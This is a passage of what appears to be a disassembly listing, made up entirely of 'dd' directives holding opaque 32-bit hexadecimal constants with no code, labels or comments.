0D6A77CA7h, 0BB5DC9E1h dd 1A706BC7h, 0B0C83232h, 6175BC0h, 12265F8Fh, 0AF47EA7Dh dd 1B520B6Ah, 4E10660h, 0EE9743AEh, 6C5820F5h, 16AFB346h dd 30AE69BEh, 0D0D4DD41h, 7C23281Ch, 0C0ECFC04h, 34455DE1h dd 413A79EAh, 88066E50h, 0F9485AA4h, 3ED83D8Bh, 0FD611E45h dd 1348CC58h, 887C3BFBh, 38A6E678h, 3759F7C9h, 0C8BE2B0Bh dd 1C917707h, 6D5A7BCh, 840EB1B3h, 52E9D70Fh, 21233011h dd 1F4B0C64h, 7CC32A3Fh, 5698EC47h, 0F80B491Eh, 0DAC6F2E6h dd 0BD0F5D24h, 2049D89Fh, 0C0142E6Ch, 22241280h, 80E77692h dd 1126FDB8h, 0EB23A62Ah, 53AB40D3h, 90108DF1h, 44214034h dd 0A7B9B526h, 0A2694640h, 0E5D4D764h, 25310848h, 59946B42h dd 0A0AE077Bh, 3DBB9691h, 6F10AFD2h, 3D783A05h, 84B657B7h dd 0C7C062B4h, 5B693F6Eh, 0BDF927BDh, 6F6A6221h, 0B5E493DEh dd 0BB496428h, 66E9F585h, 409D1BC8h, 9519BF7Bh, 577557D0h dd 264219DBh, 84CAF33Ah, 0AE7FB46Eh, 52454F57h, 0CBA70984h dd 5C77F353h, 24572193h, 54E0C7ADh, 0B2494E95h, 0C47D5D21h dd 72B9E061h, 2220F651h, 12AB1736h, 37510850h, 0AA392D07h dd 3A9AB004h, 7CB01835h, 0ED4B2165h, 0AF7BCBC3h, 0A307C89Ah dd 80A3F0EFh, 836CE538h, 631F7337h, 0AE65E5D5h, 0DEE9354Ah dd 0E0F8214Dh, 1A83274Ch, 7E6E6B9Eh, 53BA2C94h, 11FEE9F8h dd 0C2F8DE98h, 0B382A96h, 60500FBAh, 34EF4B7Eh, 0F02EE33Fh dd 3D6CCF72h, 17496763h, 5B4804FAh, 0C6C5AB13h, 0EDA6694Ch dd 0E14E5658h, 5A0F1AF4h, 9AAB7DFCh, 8B3A487h, 0BF2A247Dh dd 0CAE25BB5h, 47513705h, 0F224CB18h, 0B8514022h, 46495901h dd 41DD585Ah, 0CD01D37Dh, 86EC83DEh, 2A936E38h, 335AE878h dd 539BF153h, 0D15B98DDh, 0D6E4BFE5h, 188ED65Eh, 7A99FBC2h dd 0E9CD3530h, 41BC8DC1h, 0E2DBBD18h, 0A29E01E2h, 0E88410C6h dd 7FC82758h, 0D9FE91E6h, 0C720134Eh, 106BE624h, 63A79A83h dd 423BCA3Ah, 0D9270E2h, 3D85754h, 3F11AED9h, 83BEAFDFh dd 8267BA8Bh, 4FF4AB02h, 8DAD4A5Bh, 6DC77E0Eh, 60D8BFB6h dd 8794AFA6h, 0FAA4146Fh, 6DCE62F5h, 5B5F52C4h, 0F22EBD63h dd 0C9507D18h, 545EBA6Eh, 0DF4C300h, 6B45155h, 3130FAD8h dd 0A020CEEFh, 0A05CF6F8h, 62782C99h, 2D3EE0BDh, 9769704Ch dd 865CC673h, 1F0CAE17h, 0B4B4C672h, 0EB936BAFh, 3A135EC8h dd 0E5CFABE5h, 4337B02Eh, 725A5ABFh, 0E6E1D632h, 0C3D6A2BDh dd 0B7583980h, 10E6E8CCh, 7E09A8BCh, 0DAB238FCh, 3ECF6E9Fh dd 0A01A3A3Ah, 4DD034E1h, 2BBD67D9h, 16EC6CE8h, 69CB35A9h dd 0B7D5CA73h, 97B918E0h, 9FC910F5h, 0F02CDF41h, 2607A8A8h dd 0BD74A210h, 9F914942h, 4A3F3559h, 6463A654h, 5D1F8AACh dd 29DCCFD5h, 0FBADDA3Fh, 7FBB999Ah, 0A8BE405Ch, 0B5565D5Ah dd 85399F6Dh, 0C2112BF4h, 0E9978A1Dh, 8A8723A4h, 7E474F18h dd 4B973BE0h, 99D02F1Bh, 0DC42D656h, 0F1909E18h, 23F18C7h dd 28AA4E73h, 0E9DA3B69h, 43DFAA46h, 37ABC716h, 0FC58130Fh dd 0A5A47BF0h, 0B2B44F6Fh, 3EB239BAh, 0C291F816h, 13A6FE09h dd 146379E7h, 87EEB4ADh, 4887FAE0h, 878E8315h, 0A255507h dd 0D6D230E6h, 5D8E2AB1h, 0BF6C0576h, 727B941Ch, 3226E1C9h dd 462408B3h, 59CADA7Ch, 0B9A83F92h, 1043E56Bh, 0AFC52DDCh dd 0F4D93893h, 0EC9D666Ah, 34820254h, 0DD5630E0h, 569C2E6Ch dd 0BF6A3549h, 8E04D661h, 5A9F96A2h, 9218C0ABh, 4038A4A4h dd 4B7A700Bh, 59A01CB3h, 0A73491B1h, 1DB3FBBAh, 687F77F9h dd 4F542193h, 306C9F78h, 0B0E50A79h, 0E571CF6Ah, 8BFB5919h dd 5048D9BDh, 0C24425F2h, 7A2502C9h, 9BF9C17Bh, 0E391F80Ah dd 6E53A8B2h, 84C6315Dh, 0B662A331h, 0A10C7C61h, 7FC3D752h dd 7A4B77F7h, 2603A268h, 76E2A8DEh, 9559B868h, 50048054h dd 75700B63h, 0C06E8190h, 4C09B062h, 4271D6F5h, 322B31C0h dd 8124B267h, 47E08FAAh, 0E1043339h, 1F9C4723h, 0B37ADD1Ch dd 0E8C7777Dh, 5E6F19E2h, 0F1DC13EFh, 0C7CE0567h, 4BFFF651h dd 6612AF56h, 28A14512h, 0D0DA07h, 0A80F187Bh, 437F6D01h dd 0CEEA794h, 0C975E587h, 76C09085h, 0A50E3FD4h, 8A74897Ch dd 1AF54AAh, 52D019A3h, 0C4001EEAh, 1CB971A1h, 0F6D83635h dd 0B4E9219h, 72EE1584h, 0CE1EDA0Fh, 68DAA707h, 0D4D39577h dd 63365B5Ch, 79D6517Ch, 84E420B6h, 0F3B69B9h, 0D855FF27h dd 0BBC9AE86h, 0BA68500Bh, 1B53D11Bh, 5049B2EAh, 0A7826914h dd 3766E186h, 74608D7Fh, 14F653F4h, 0DBCCCBA6h, 624E16DDh dd 3930CFCFh, 0E18A515Dh, 0E9B480CBh, 0C09E3BD0h, 0FAA4173Ah dd 0BB75894Ah, 7E34BE00h, 925CC59Ah, 291DB052h, 0FE881363h dd 91D8DFD4h, 9299E0B0h, 6CB406A3h, 97815D5Dh, 0F0A5C7A1h dd 0AC3D450h, 4042C917h, 87B3763h, 0EE795225h, 0B21C3AF1h dd 7C373DCFh, 12A2B9BCh, 0EA9F76B7h, 81F79660h, 81D0B1EFh dd 0C242BD6Dh, 0C84AF4B4h, 0F2F7006Dh, 0C91E0A0Ah, 0D9FC89BAh dd 1833A5E9h, 5E8A24C7h, 1C1BDBEAh, 731522DDh, 23D4EB8Eh dd 0BF912CB7h, 0D8E39567h, 98FFFAC1h, 78BCB9B7h, 5939926Ch dd 0A2FC80BBh, 0D176747Ah, 56216815h, 93E314A0h, 0C3DE6FBAh dd 0F248F4ADh, 623E8752h, 993A2787h, 0AA6ADD0Dh, 53B10554h dd 64F85621h, 0E3F74C93h, 0DD4E3ADAh, 0B91ECB04h, 44653FCEh dd 343FD415h, 416E016Bh, 4B7B6C25h, 7418E4DAh, 6D96B9C5h dd 0F0AC4798h, 4F573F0Bh, 316C01B1h, 88290C12h, 0D69345F3h dd 9FDF2EB6h, 0EFC6A869h, 0F1178956h, 324E8E6Ch, 24F4B8B1h dd 48B9A5C1h, 0CE203C5h, 0BF5AF7F3h, 0EC182855h, 0EAC14F55h dd 10F5C82Ah, 96F3B84h, 0DB348727h, 4E45AE4Ch, 88ACDA35h dd 0F2DA8C18h, 202C2484h, 0EFDF9FEEh, 0E58CC102h, 0FB78B9A9h dd 2181CACEh, 1D89AF6Fh, 65A2DA9Eh, 0DEAB1D4Bh, 0C23DBA9Fh dd 0EAE19C53h, 526C4351h, 55B03A42h, 0DC4220DAh, 26187620h dd 3D20D115h, 86E11A7Bh, 0E87C25D1h, 3F7A3A2Ah, 0AD14A16Bh dd 0F632DEFh, 0FF954932h, 63546B85h, 9E56E5CBh, 0B3D45F37h dd 5672D2F6h, 0AD68827Bh, 0FD77C460h, 18E80FD9h, 0ECB6A9E9h dd 3154591Bh, 2803BF19h, 2EDAC719h, 4D2198DCh, 24D99C81h dd 9B10C957h, 6BFAB760h, 6C3526D9h, 0BB3880E3h, 0D31FF557h dd 60C30A68h, 0A1B13A2h, 0B61AA313h, 8FD511D1h, 26E88688h dd 45FD728h, 5E352C3Dh dd 8BFE119Ah, 0E6E7A74Ah, 15A9CADBh, 98CB9Fh, 0C133540Fh dd 387992B4h, 7CDB7C98h, 3144168Ah, 0C0208F6Dh, 98341C30h dd 0D2C0509h, 38E374E6h, 4CB327CFh, 9707C028h, 9EA23323h dd 5A3E1F14h, 0C3BB688Ah, 5C44610Ch, 9654DA8Ah, 62313DD2h dd 69E95B98h, 18B8A600h, 0F2984C0h, 0BE0B304h, 1D8FC464h dd 0AB7FEDBCh, 0B333480Ch, 2E61CB48h, 65CF08FFh, 0D89A6FD7h dd 7017E810h, 1E75A9ACh, 69C55793h, 0B06A4EC3h, 879DF5h dd 0D1EAAC98h, 626208E1h, 6F8108C0h, 26A1E80h, 11CEAD58h dd 35634948h, 4E50E45Ah, 8A6F6612h, 8A4ECD59h, 9BC34336h dd 770AFBB0h, 185A648Bh, 0C6F970h, 0FA805F58h, 0A4E053C6h dd 0D4EE2BCh, 0B7E63AB6h, 0F482E3F4h, 0C6A217C7h, 8C293DA4h dd 2FCEA9BCh, 0DECEA523h, 9ED510D4h, 0F510D402h, 1F2A1104h dd 692C10ABh, 9381FE2h, 97BB2A43h, 9C01E8C0h, 0A16B4421h dd 233BE6Dh, 0F8FCBA2Bh, 0C388F896h, 0E0527B9h, 698105C7h dd 560381CCh, 0DE8B2DAh, 241D9789h, 2DD1A333h, 0BA893DBh dd 0FD4AB04Ch, 5CF2A7D9h, 68CE7FBEh, 5167FD15h, 0C365F250h dd 0E80D824Eh, 0A7849FC1h, 382664B9h, 0C13E6FAh, 14CE5866h dd 1B8DEE82h, 9DBBEF37h, 0B014CA86h, 513BF558h, 84A70253h dd 2279EDC7h, 0B57912Eh, 4DBA45BEh, 2A50DC0Bh, 55DF2991h dd 0F10796FDh, 6CE9B144h, 0AA218778h, 0FE499ABh, 0B8F182EDh dd 7F5ECA2Ch, 8C0740E2h, 0E80EF3B4h, 3C270584h, 0F0B12C8Bh dd 83351904h, 34FF0F6Bh, 0D689293h, 5DFF73h, 0CCBFEA7Eh dd 0B4845656h, 45500392h, 413800C0h, 0D188BCEEh, 340BE740h dd 8486445Ah, 0D79B8B69h, 98AFC356h, 12DF2200h, 0B7911BA1h dd 25B22884h, 7D653826h, 0ADA54852h, 0DC2C402Bh, 6C620C1Eh dd 6F6357F4h, 13522C87h, 3E5E39EEh, 6985C520h, 95181CBBh dd 2871A8FFh, 3F373722h, 789D06E8h, 0EDB5F73Eh, 7FCC285Dh dd 4C31F8A4h, 0E9CFAF5Eh, 0A743D189h, 85C16C25h, 13314CDAh dd 0A569DD14h, 6A347810h, 0AD3CD59Fh, 6C250E68h, 390B2452h dd 0D0588979h, 96B19B82h, 0E0F4F319h, 57996EC0h, 23ADCA76h dd 7A407FD8h, 0A43D32D0h, 0C3E965F6h, 12233A2Ah, 6E5DF343h dd 9F917225h, 0CE168BCCh, 0E2F681A0h, 9D8E266Dh, 0F0FF8FB5h dd 0DFC896B0h, 992B0562h, 83F57D1Ah, 0D39609D8h, 3166AC8Ch dd 0A3BE7565h, 0E73BC597h, 12E6F184h, 0E22B6E36h, 61B1CDC9h dd 972B5B18h, 0CCBA1D0Fh, 1105C604h, 347A9578h, 443FFE37h dd 57BA1CEEh, 364B6A20h, 847ADC17h, 0CCD891BFh, 2375E8F1h dd 9E2165C4h, 8031135Eh, 0A9B56C05h, 962F08D7h, 0CF00B67Fh dd 76B605BDh, 7D12792Ah, 21856588h, 7735125Eh, 0E7F8F2FDh dd 0BF620B84h, 2FF12D77h, 9D7FD676h, 62669881h, 220594C7h dd 9891B18h, 0FF9E0B73h, 0B1BD35F3h, 0DD466BA1h, 42C33434h dd 9AC8BD56h, 0BD6F7263h, 1CC8DDD0h, 0B277DC61h, 0B922F871h dd 9EE8BE81h, 1C65DF5Dh, 0ABCA620Eh, 2E427F1Fh, 29CE9F3Ch dd 0C4EEA3B7h, 83B6C216h, 0CB94494Fh, 858C5DAh, 0EE47C52Bh dd 26D34EA2h, 63466BBFh, 0CC332CB2h, 7A70D433h, 0DFA9ED03h dd 649F8Dh, 3ED720DBh, 23EA5AEAh, 8420881Fh, 0E6CF83A6h dd 15036078h, 0BC71F6EFh, 93675437h, 0C2265ACEh, 5041929Dh dd 7E1435Fh, 898AEEF1h, 58C920F9h, 9A52F146h, 5DDC8022h dd 0D8B112B8h, 9DB9C1B2h, 597F6FBEh, 6378AF4Bh, 5A5BD65h dd 5498D652h, 3410DADEh, 7820F7AFh, 5A58F395h, 85C2623Ch dd 0F0E97851h, 8098BFEAh, 0E683312Dh, 0CCC506B7h, 0C040E037h dd 20967544h, 14AA948Fh, 34C0DFBDh, 0C72715BDh, 8B4DEA34h dd 867A8CAEh, 0FF3E5825h, 7E018A87h, 0B4EE31BDh, 0EF396DA6h dd 0E6929792h, 0A3658200h, 5E42EBBEh, 59F4FBD9h, 8EB97B79h dd 5645F82Fh, 2000C2A6h, 2CF648A5h, 59B3E725h, 0D8408E13h dd 9867F0A7h, 15B3450h, 0F21BC524h, 36559C25h, 4A0D6328h dd 0B5AD969Eh, 492504C2h, 0CC14C37Eh, 0F1D6C9Fh, 7D5D4623h dd 273FE55h, 42D5048Ch, 1CEEA7EBh, 1A81ADAAh, 32C553Dh dd 277DA0Ch, 9489E2E1h, 0C236B280h, 861B53E5h, 43B0C4CAh dd 0FFACF32Eh, 53B93939h, 0FEBEDCF5h, 4D8D5B01h, 5D28B043h dd 10D8DBCBh, 538D730Ah, 8CE1B45Eh, 0B24C86CFh, 639C14F5h dd 0F7704FECh, 0EA84E9ABh, 82FAA5DEh, 1B976CB7h, 3ADF67ADh dd 0CF85AB92h, 0E09664F5h, 0DBE34795h, 4228C467h, 6429674Eh dd 0A53869D7h, 0FD8DCEFEh, 43DE2472h, 35CC3162h, 69EDF86Ch dd 5EA2D347h, 942C4D2Ch, 5FA1481Ch, 0B563C322h, 0DFCB89E6h dd 2340D20Eh, 5C028153h, 473C7154h, 8301AF82h, 6481FFBAh dd 8D42C35h, 0F0DB5421h, 0D43D1B79h, 3D4F0223h, 13880936h dd 5C78A31Bh, 0D8879E52h, 0FCBA1093h, 6E1368D5h, 23A3FDDEh dd 3C6A8EF4h, 0D950EB63h, 0ACBFB7FFh, 145DCA1Eh, 28F5F6B7h dd 37796C50h, 13F9466Dh, 0AAD64D7Ch, 8C98AA8h, 0CD686A79h dd 0D2A6A001h, 6B2E5B7Ah, 21E4D92Eh, 9979BFE9h, 0F768590Ch dd 47347721h, 7FCC4CC3h, 164E2825h, 0E0D40517h, 40D557F5h dd 0DB64ED9Bh, 5A59F061h, 0B1F237CBh, 5FC205B5h, 1CDDC69Dh dd 47A9F4F7h, 0EC895164h, 0C6BFB963h, 45C9D65Eh, 0B12A16D0h dd 62C54925h, 0DD2477F8h, 0E22339EEh, 2BF0A3E0h, 8FFFB6Dh dd 8BEE0907h, 3D6666E4h, 3717E2B8h, 0B8C6210Ch, 79366721h dd 299FFF8Fh, 105F7C93h, 5E0830B5h, 0A71EDB17h, 0F404F1FCh dd 7870AC59h, 0A04DF8CEh, 7C9BE713h, 47EE0F5Bh, 0F060C0Fh dd 0D3021E67h, 93FDC057h, 87FE81E0h, 0C9EDCEC7h, 0D85B8E5h dd 0AEC450B6h, 0B9DD6BFCh, 5B76F21Bh, 0BC5E7A0Ch, 4E079D63h dd 1FFE80E9h, 6D7461E8h, 43C87A4Dh, 48BB944Fh, 0F72EEC8Ah dd 0A38E3F49h, 4A7D8E6Dh, 0AF74E8FCh, 0CA4A62D2h, 167F186Bh dd 0D3630211h, 0C4C702D5h, 2C765979h, 0AEC71DE6h, 76CB167Eh dd 0CF6E3A15h, 838E5CD3h, 47F80A5Bh, 420F1D91h, 8AFCCD19h dd 6AD53AA3h, 0EA953538h, 1DBC4E20h, 6C1818Eh, 0B492ABEh dd 6525721Ch, 0CFF25689h, 9877E07Fh, 7401B766h, 0AEDF757Eh dd 56FE5291h, 7D9C8502h, 8160A30Eh, 3B78D997h, 0F3CE8C4Eh dd 48950633h, 0DE7818C1h, 37806265h, 0B0C13651h, 46080E64h dd 98D9AF5Fh, 70E105B5h, 5B310483h, 0E5684ABCh, 7C5FEEB0h dd 0B89845h, 1FFAE08Ch, 0BDEC7517h, 0E6AAF1F3h, 0C3E4B0FAh dd 402428EAh, 26B5F871h, 0E46AA842h, 4AB2AD92h, 0F8B47A33h dd 0BA911A6Bh, 26D46F05h, 8F719A98h, 56312D78h, 95691594h dd 0D2E78F8h, 0CDEE599Dh, 4A7F892h, 4BA9CADEh, 5621E2A1h dd 5C7B7D0Ch, 0CF63409h, 60F06F4Fh, 542B946Eh, 4F7A08BFh dd 799AF39Fh, 3357E94Bh, 97BF0368h, 0F5426AB1h, 96ED2C92h dd 42F4EA3Ah, 0CAFA47DAh, 3B0C8556h, 4646D87Fh, 0FFF8C611h dd 0BFD11B9Fh, 37EAE85Ah, 752530A9h, 52358600h, 898C3583h dd 7034B770h, 1E5C2EE8h, 4D09EFE3h, 0A41AFDB8h, 524ECDE9h dd 0B142C253h, 0EFA7FF67h, 0C87D2C90h, 4E234664h, 69D97576h dd 0A4021088h, 2CF396E8h, 39DCF824h, 3E680BE8h, 16CD6797h dd 0E38AB4FDh, 0F9187EEh, 0D212A5BDh, 133BA547h, 950F5980h dd 0E4BDB7FFh, 0D33C5E40h, 0CB2F2F5Eh, 2DD079CFh, 4D0BDE3Dh dd 408891F4h, 4E7D7C5Ah, 74F55CBFh, 33A7220Ah, 19767B0Ch dd 94CE03DCh, 49C2181Dh dd 61FDEEC8h, 0F3167BB9h, 0BB3ACABCh, 8036A4D7h, 2E6D1754h dd 3CD25F11h, 36348B6Ch, 0C31AB823h, 81AFE6DCh, 39F3C145h dd 5DD87337h, 70B030FAh, 9A09F384h, 6DDA33B4h, 0B9669074h dd 88776012h, 0D81F6016h, 89709EC9h, 4B771B5h, 907230FBh dd 32B8AC0Dh, 547D2107h, 0E57CD6DEh, 0BA808DC3h, 0F59EB3F0h dd 0A05ADC1Fh, 4FB5B71Fh, 0E78AE370h, 4863B0BBh, 43FCD36Eh dd 86ABB24Fh, 6DE39F7Dh, 98B7D1CAh, 71D06ABCh, 6A688928h dd 5C46DA70h, 0ACD2121Fh, 94BAE767h, 0CCC277F6h, 0DE286362h dd 13914479h, 0F11D8A57h, 0C8838126h, 311A1D6Eh, 95456986h dd 30A0F1F8h, 68981C34h, 8CBEDF6Ah, 5571F418h, 19DBC5C5h dd 0DEF42A9Fh, 160887Eh, 57833B2Eh, 0E1C89108h, 48660587h dd 80B9D4DBh, 0D92E58E2h, 0F7B68449h, 6FEA610Dh, 54A24CCCh dd 0D443B2ECh, 9F999E7Dh, 0FE901F72h, 59EA8B7Dh, 0FF4B8D42h dd 5F584F6Fh, 0B9927543h, 92A3D6E8h, 81EE5EE1h, 6532A505h dd 0D332F9E7h, 5366F36Ch, 30C7E84Eh, 8113C6Ch, 0C328A7A8h dd 46DD39Eh, 3491982Eh, 8D707051h, 0E390A17Ah, 0C1AB47B1h dd 3ADC5FDAh, 529CCB78h, 18A0B5F3h, 260BB775h, 0C01B37Ah dd 97DB735h, 0F8094D4h, 0DD860ECEh, 0B6FE6A8Ch, 0D85B4475h dd 822C739Ch, 0A3412914h, 0A043778Bh, 2C5FF40Fh, 87B84732h dd 0A7DBC036h, 0ADBF95BEh, 30C29FD7h, 5275D9A6h, 35F11DE0h dd 0CFAB259Fh, 97FA9AD7h, 0BA200271h, 24131821h, 0D2317B50h dd 6290AAF9h, 9EC804B2h, 0C6E5020Dh, 9524184h, 471AA7BFh dd 8816757Fh, 64BB13E2h, 464B6BB7h, 0A22B00CFh, 856E4BDCh dd 0A73E5851h, 5664F7Fh, 0D0C22908h, 0E1F3DE52h, 0F599310Eh dd 47D7F752h, 15D5F89Bh, 6725F656h, 0ED19133Dh, 2D15D32h dd 85F82C80h, 4BFC4F8Bh, 0FE117CBCh, 0C6876CF0h, 70BB086Eh dd 5DC43157h, 0E1B0BEDBh, 0CB39C3DEh, 0A55738Ch, 36A02BADh dd 0A96DAAF5h, 7E798C94h, 3DB5C330h, 3DB7FEDFh, 0AE9A257Eh dd 53AE6310h, 0B29818ACh, 0E6B82635h, 0EE505A5Fh, 0C05295FCh dd 0C3D72B66h, 89FC1266h, 0D852E0EDh, 0AE05DAEAh, 6CE82F09h dd 45755480h, 3B168D6Dh, 61B440CDh, 0CAE90238h, 0D2F6D8F9h dd 0E4AF5A87h, 0F9BE8FBFh, 5FF9A1BEh, 0E86A9E57h, 6F55A057h dd 71A85FEEh, 1E3A603Dh, 0DB1E4DAFh, 9D8C2DECh, 0A24746D4h dd 5C9BF440h, 82A9BDD0h, 0A2B454AAh, 3082FA29h, 0F5085607h dd 6A61B0E0h, 8AA19122h, 3D8276D3h, 4D78B6E3h, 0D0941A20h dd 160D9764h, 0B3ED5D76h, 9D15C108h, 0DE5A60D8h, 59B87475h dd 0B203D583h, 73CF11BDh, 45972BAEh, 70F0584Ch, 4DB1290Fh dd 607FDC55h, 1AE8B78Dh, 0E222C12Fh, 0D160D912h, 0B9141890h dd 0F6A0E82Ah, 16932C56h, 3F3A3D8Ah, 0E613D513h, 0C5596700h dd 0BC121E70h, 8FD586BAh, 0C98B9A73h, 0AB5AB14Fh, 5C42437Dh dd 4B22F22Bh, 0B575E785h, 0D0BA882Eh, 6D15C619h, 481A8CEDh dd 96C515FEh, 5F91C801h, 3CE4E5F2h, 0DBBFDF54h, 0DFB8B780h dd 0D228B225h, 7608A2D8h, 616CA983h, 0C532B0A8h, 0F8427200h dd 0E3FDE475h, 8C3AA703h, 505F6A60h, 76BC88B3h, 28BA376Dh dd 1688E226h, 0EE0F4712h, 2044390h, 67AD1F90h, 56294F23h dd 326E41B1h, 6152309Eh, 0AF942260h, 8B59F6C2h, 72EDD242h dd 0FD413490h, 0F8692F4Fh, 9D2BD608h, 0F85882E5h, 0E54934F3h dd 2C113FDCh, 0F4F23767h, 0E8B3205Ch, 9B062ABCh, 73DCA252h dd 0ADC49D62h, 7B9063D8h, 0B772E29Eh, 0ADE4B6Bh, 768BEAAEh dd 60DED53h, 54A595EBh, 36ED9F0Bh, 0AF303A3Ch, 745FE4EBh dd 84074C6Bh, 0D5BD2AC6h, 0D3D51243h, 0B2E40AF6h, 3D1AB331h dd 0CBFB4257h, 0EAEE6639h, 0B867E55Ah, 16DE46B8h, 0F1565C8Dh dd 0CFE9A65Fh, 0CC04F251h, 9D833DCDh, 62A1EA42h, 502B6952h dd 8B0E21F9h, 4E80ED65h, 0F2B6B444h, 0DE4EC13Dh, 3A98FB34h dd 53DC72CEh, 653F065Fh, 88D95B21h, 45F10757h, 180A9659h dd 285B5D84h, 3DEA629Ah, 0D34CEA5Eh, 5E4271C2h, 0CC660C32h dd 4ED36E18h, 0A98909BFh, 1A94C72Fh, 70B575F1h, 574A9507h dd 83040A38h, 19EE25F5h, 2EBCC340h, 0BFFDFF1Fh, 0D3D41B1Bh dd 0B2D11943h, 0C37F7F6Ah, 386A4057h, 6A5A3C8Ch, 7F4A7F03h dd 0D336313Ch, 3C00B051h, 0A2C17567h, 19C0F172h, 0AD4184BFh dd 7D3A2060h, 8FC8EDCDh, 0C360E871h, 0E73831FCh, 86D8C5C3h dd 5561640h, 74906BBEh, 0C37DDAC1h, 0D430A1BEh, 16A90E6Bh dd 70D61EFh, 1D83A5B9h, 0C810B38Fh, 48F4ADE1h, 0B0837E5Dh dd 915CC192h, 958217F2h, 0E3CB1C54h, 0F2AC0EC3h, 96E3D578h dd 704E658h, 0B193C72Ah, 9CDF27B3h, 0DA5EBDE9h, 26A9F5BEh dd 79D006ECh, 499009BEh, 2F32EA4Bh, 501C29ACh, 0E84ED29Dh dd 12E81F23h, 2A593F52h, 0FDC23C17h, 0D0935DC2h, 0AD65940Dh dd 9C9EA6A5h, 3DE5E2A2h, 8F1F1FA2h, 1E426159h, 9E8AEDBBh dd 0BD879416h, 8C03663Bh, 0FC1FB43h, 5897D2B2h, 790B4ED2h dd 27B41CB2h, 0EDE171A5h, 20AB48EEh, 30836C06h, 29679361h dd 4F0417E6h, 43FB0583h, 0C0364D2Bh, 0ABC5CB3Fh, 6669F93Fh dd 456752C5h, 3D91A74Dh, 6D27D553h, 0CAAC42AEh, 0EB97312Ch dd 864A5192h, 5D60FF15h, 7BEF1509h, 851CF742h, 0A1942974h dd 0E1144C0Ah, 5A23D66Fh, 0D87DEB2Ah, 694963AFh, 76B5CFA1h dd 0A2977FA8h, 2967A74h, 1DB0B8A1h, 8C02C993h, 73A1187Eh dd 0AFDB22BDh, 0C1FE29BDh, 524A18E5h, 178B7918h, 0DABF50DDh dd 60682794h, 245E25ACh, 0EF7F4A1Ah, 676A8FE6h, 90A56C9Ah dd 3D4936F2h, 0CB7191C2h, 2EC05B77h, 0C5F7CD3Eh, 745C217h dd 6AE2ECCCh, 8DDCDAEDh, 337165CBh, 0BE372209h, 3CD7C235h dd 9C309B32h, 81713669h, 8700DA96h, 3EDF6188h, 0C3568872h dd 42DFD979h, 28D5106Eh, 5653B6BAh, 45C63589h, 7BB0AB00h dd 0CF567ABCh, 0C1506B7Ch, 5567AC44h, 1505B287h, 1BDAA874h dd 6A801F8Dh, 0CBFDE96Bh, 19A9DF30h, 7684D8E3h, 4C572DD8h dd 0D4D2A6F6h, 2F2593DDh, 5C863754h, 92CA6C56h, 55D0D4BBh dd 8BC6CF8Fh, 0BF9A7030h, 7E37D469h, 2D444D85h, 6E847ECFh dd 75EA96CBh, 0CE3B891Dh, 272BEE60h, 0D175B1BAh, 3C61141h dd 15DF252Ah, 582EAA2Dh, 9E0D4010h, 48F440A3h, 0ADCC22B4h dd 0C7BACEAAh, 11C790F5h, 5F3E3DF5h, 6F0A47CAh, 0F5B089EFh dd 3DD4A6ECh, 38B7D72Eh, 0D718A591h, 591BFAE8h, 93528E75h dd 8E29512Ah, 0B74A792Fh, 737475ADh, 618DC3E5h, 0BCDEBE87h dd 0F2FA1E0Eh, 957E7360h, 3D11EAC7h, 0C63C6161h, 8A8F4652h dd 9921C7CAh, 36274D33h, 32881ADAh, 0D63FD412h, 3AA98F30h dd 8F48D85Ah, 0BA69F4AAh, 0AA81CAA1h, 0A445CB5Ah, 13C52318h dd 85C51358h, 5516A8E3h, 0B72EA8B3h, 5EC6F975h, 0E3CE330Ch dd 0B74347B5h, 75ED985h, 8B52E3ADh, 1D94D81h, 97AB9503h dd 0E1E52C9Bh, 9740DD97h, 7B9B1C99h, 9334998h, 0FB53231Ch dd 6C9606D4h, 53CE5751h, 753A82CFh, 0ECC66A26h, 846E9A02h dd 6BD11A96h, 8EA5BD46h, 0F17006E1h, 0F91AD23h, 35D7C1E4h dd 70DFE3CBh, 7598B1F3h, 0E4426E9Ch, 0FD5C0503h, 4B73E870h dd 0BDCAC193h, 0B57D6831h, 3AB5DF2Ch, 508F4B15h, 33EF0195h dd 7593DE3Dh, 0C77F8E45h, 44C791A9h, 511C20C3h, 6C587D34h dd 0EFABAFC6h, 6EF7AA7Bh, 0C179F506h, 44D9AF6Bh, 7C8F6F5Ch dd 288C7C1Ch, 2DF944C2h dd 0AA1DD97Ch, 0BDBB00BBh, 6DDA7C54h, 0B0AF36B4h, 3A9B8340h dd 0E700F957h, 7E8A7D74h, 1F70C1EFh, 4AFC5497h, 0E71CB658h dd 2D484F33h, 11BCB521h, 0C69B6E0h, 48C84CB7h, 356BD679h dd 92DAEBF2h, 0E9A677A3h, 6E41B58Ah, 0B063FF75h, 0EB3AD3C1h dd 0A6BED2DEh, 77498A52h, 6F6B4CD4h, 0ECB01590h, 625F11C9h dd 0EA1900C1h, 12C9B776h, 0B1458355h, 0E6C43E41h, 0B775670Fh dd 0B76443DCh, 1ADECFF4h, 6AB91879h, 0A99E9197h, 0E1E9945Ch dd 0D461B70Ch, 79012875h, 80D5BEA7h, 0A06ADA53h, 0D3B27522h dd 38A44263h, 4F458E30h, 2061A18Bh, 0E6DDAEF3h, 0A245397Bh dd 0FA9ECBABh, 0CE263AD7h, 775E7694h, 46E44260h, 3CC84DD8h dd 0E702BCE7h, 6548D3FDh, 7BF47717h, 7EADF248h, 0A3D24FEBh dd 33AD0B2Fh, 54022A25h, 2A6E935Fh, 6A79C73Eh, 89993AD7h dd 53CC5984h, 2D876D4h, 0E82D9EAAh, 463F51B9h, 7B25B272h dd 160583ACh, 0DF04A81Dh, 0FB0D0201h, 0F0049457h, 577DB5C9h dd 0A8E68EEFh, 0A3D1516Eh, 5E4C57A3h, 710F5A0Fh, 936FBE0h dd 0C01EE667h, 0AE58305h, 0DAE5312Ch, 613DC59Fh, 21ED518Eh dd 805CFDA1h, 0C316CCEFh, 0AEB56CF8h, 3D99973Fh, 0FBB78B77h dd 37C11CA4h, 0D46BAE71h, 1B33788Eh, 1915B307h, 54B03DD2h dd 60801A82h, 8686BDD5h, 0D02820D0h, 0DBDB326Eh, 1A711302h dd 8E3918BEh, 0A6C1A466h, 3E584C5Dh, 76330741h, 0BE79CBFCh dd 0F861DCCBh, 7768BCA4h, 6399FAA8h, 2477A34Ch, 0DADE63FAh dd 0A0CAFDEDh, 4EED1ECh, 0A63F0C9Bh, 1D8C1309h, 8B0925E6h dd 5CC57A2h, 0E16D08DCh, 0F24E6AC5h, 9AC37C68h, 0F22167B9h dd 0C3122417h, 7CEF50C1h, 0A53DB557h, 32A07C26h, 0AD85F980h dd 315A1F8Fh, 0A5BBDA80h, 